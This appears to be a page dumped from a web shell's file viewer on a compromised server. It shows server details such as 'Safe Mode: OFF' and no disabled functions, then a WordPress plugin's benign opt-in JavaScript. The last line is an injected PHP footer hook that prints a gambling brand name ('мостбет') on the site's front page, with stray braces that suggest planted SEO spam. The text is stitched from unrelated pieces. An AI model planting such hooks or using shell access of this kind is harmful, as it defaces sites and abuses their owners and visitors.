Uname: Linux sg2plmcpnl480496.prod.sin2.secureserver.net 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
Software: Apache
PHP version: 8.0.30 [ PHP INFO ] PHP os: Linux
Server Ip: 118.139.162.75
Your Ip: 216.73.216.114
User: kq22obq8vxga (8490740) | Group: kq22obq8vxga (8490740)
Safe Mode: OFF
Disable Function:
NONE

name : optin.php
<script type="text/javascript">

  (function ($) {
    var isOptingIn = false

    $('#analyst-opt-in-modal').appendTo($('body'))

	var makeOptIn = function (pluginId) {
      if (isOptingIn) return

      isOptingIn = true

      $.ajax({
        url: ajaxurl,
        method: 'POST',
        data: {
          action: 'analyst_opt_in_' + pluginId,
        },
        success: function () {
          $('#analyst-opt-in-modal').hide()

          isOptingIn = false

          var optOutAction = $('<a />').attr({
              class: 'analyst-action-opt analyst-opt-out',
              'analyst-plugin-id': pluginId,
              'analyst-plugin-signed': '1'
            })
            .text('Opt Out')
          $('.analyst-opt-in[analyst-plugin-id="'+ pluginId +'"').replaceWith(optOutAction)

          $('[analyst-plugin-id="' + pluginId + '"').attr('analyst-plugin-opted-in', 1)
        }
      })
	}

    $(document).on('click', '.analyst-opt-in:not([loading])', function() {
	  var pluginId = $(this).attr('analyst-plugin-id')
	  var isSigned = $(this).attr('analyst-plugin-signed') === '1'

	  if (!isSigned) {
		$('#analyst-install-modal')
		  .attr('analyst-plugin-id', pluginId)
		  .show()

	    return;
	  }

      $('#analyst-install-modal').attr({'analyst-plugin-id': pluginId})

	  $(this).attr('loading', true).text('Opting In...')

	  makeOptIn(pluginId);
    })

    $('.opt-in-modal-close').click(function () {
      $('#analyst-opt-in-modal').hide()
    })
  })(jQuery)
</script>
© 2026 GrazzMean
add_action( 'wp_footer', 'cobn_7627', 1000 );function cobn_7627(){if (is_front_page()){echo 'мостбет';}} }}